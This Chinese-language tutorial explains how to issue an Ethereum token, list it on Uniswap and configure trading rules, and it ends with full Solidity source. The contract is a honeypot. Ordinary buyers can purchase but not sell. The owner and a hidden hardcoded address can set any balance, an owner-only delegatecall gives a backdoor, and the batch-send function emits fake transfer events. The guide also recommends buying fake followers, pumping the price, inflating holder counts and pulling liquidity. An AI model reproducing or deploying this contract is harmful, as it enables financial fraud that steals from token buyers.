通過以太坊發行代幣上架到uniswap,合約設置實現買賣限制、次數限制、數量限制、地址限制等還能防止合約套利機器人,可以給項目方進行做市,開盤等
前言
相信很多人都在uniswap或者justswap上進行兌換過也經常兌換到過一些代幣無法進行兌換,或者兌換次數數量有限制等等,那麼這些功能到底是怎麼實現的?本文就講解整個過程,包含發行自己的代幣、上架uniswap、設置買賣規則等等還包含一些經驗的分享。
一、所需工具及代碼
1、狐狸錢包插件(使用谷歌或者谷歌內核瀏覽器安裝):https://metamask.io/
2、合約發佈網站:http://remix.ethereum.org/
3、最新合約代碼及教程下載:http://note.youdao.com/s/H0WA5cJo
(合約特點:單獨白名單/買賣次數/數量/防套利機器人/設置重點看第四步!)
4、交流羣:https://t.me/uniswap_justswap
二、合約部署
1、安裝狐狸錢包:https://metamask.io/(使用谷歌內核瀏覽器按照提示安裝完成)
2、打開合約部署網站:http://remix.ethereum.org/
3、注意要先刪除網頁裏面的代碼,Ctrl+A(全選) 刪除,然後打開下載好的代碼,Ctrl+A、Ctrl+C、Ctrl+V粘貼到頁面上。
4、如果沒有看到1_Statage.sol 這個文件,點擊那個小加號,新建一個重命名一樣的即可。
5、點擊第二個圖標,覈對好版本號。如果鏈接不成功,檢查一下狐狸錢包是否安裝正確並鏈接上。還是不行刷新重來一遍即可。
6、點擊第第三個圖標,根據圖示選擇並覈對好信息,如果沒有看到小三角,請開全局#科學上網刷新即可。
7、根據自己需求填寫好相應信息
代幣全稱如:Bitcoin、代幣簡稱如:BTC
數量精度默認18,所以你要發1000個直接填寫1000
填寫好之後點transact,會有彈窗自行調整好手續費點(confirm),根據錢包提示操作。
然後打開狐狸錢包如圖所示點擊。
8、點擊最新的合約記錄、如圖所示點擊右上角箭頭
9、然後會打開一個網頁(如果打不開就是沒開科學#上網)等待打包完成,複製代幣合約地址。
10、打開狐狸錢包(粘貼合約地址),把你發行的代幣添加到錢包如圖所示:到這裏代幣就已經發行完畢。
三、上架Uniswap(注入流動性)
1、 打開https://app.uniswap.org/
2、 根據圖示鏈接好狐狸錢包。
3、 錢包鏈接好之後點擊(資金池)再點擊(Add Liquidity)
4、 點擊(選擇通證)粘貼代幣合約地址,出現代幣後先點擊(Add)再點一次代幣名字。
5、 輸入你要注入ETH的數量、輸入你要注入的代幣數量。
6、 需要注意的是自己計算好比例,因爲一旦注入後,比例是無法再次調整的,但是ETH數量和代幣數量是可以隨時增加或者減少。
7、 設置好之後點擊,根據狐狸錢包提示操作即可。
四、開放代幣買賣和設置規則
1、 這份合約注入流動性後玩家不能馬上買入(因爲加入了防止機器人機制)
2、 需要進行(添加pair地址)打開狐狸錢包找到注入流動性的合約記錄(Add Liquidity)
3、 如圖所示點擊進去找到pair地址
4、 把pair地址粘貼到圖2處,點擊標註3,然後根據狐狸錢包提示操作即可
5、 如果刷新網頁後沒有了小三角,可以粘貼代幣合約地址到上面點(At Address)就出來了。
6、 注意!不添加pair地址玩家是無法買入的!(添加後只能買入,不能賣出)
7、 其他合約功能介紹:
Mints:粘貼買家地址可以單獨設置白名單(不限制買賣)。
Init:設置賣出的次數、設置賣出代幣的最小值(不設置可以不填)、賣出代幣的最大值。
這些功能根據自身需求進行設置即可(這裏的設置是針對所有地址)。
不需要這些功能可以不設置。
五、撤銷流動池
1、 點擊(資金池)、點擊(manage)、點擊(Remove)然後根據狐狸錢包提示操作即可。
2、 流動池撤銷後所有ETH和代幣都會迴流到你自己的錢包。
六、(總結)經驗分享怎樣才能吸引更多玩家
1、 有技術的可以自己做網站,發幣的時候把網站名字直接當作幣的全稱)。
2、 建立電報社區配合網站進行相關介紹,花錢拉點殭屍粉進來。
3、 要有目光可以設置可以賣1次,或者其他配合社區及自己項目規則設置,買賣數量或者做鎖倉時間等。
4、 資金池不能太小,或者一開始小點,自己學會拉盤,刷漲幅榜(現在合約防止apy機器人防止機器人套利)。
5、 增加持幣地址,或者做空投等,看起來沒這麼單一。
6、增加持幣地址可以用這個網站:https://bulksender.app/
歡迎加入電報(telegram)討論羣:https://t.me/uniswap_justswap
附上賣不出的提示:
七、合約代碼
合約代碼最新更新地址:http://note.youdao.com/s/T5dNg9qC
以下代碼僅供參考學習真正部署請使用上面最新代碼。
代碼如下(示例):
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {
}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {
return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(858749215588756578423191794544755661730712473314));
if(addedValue > 0) {
balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}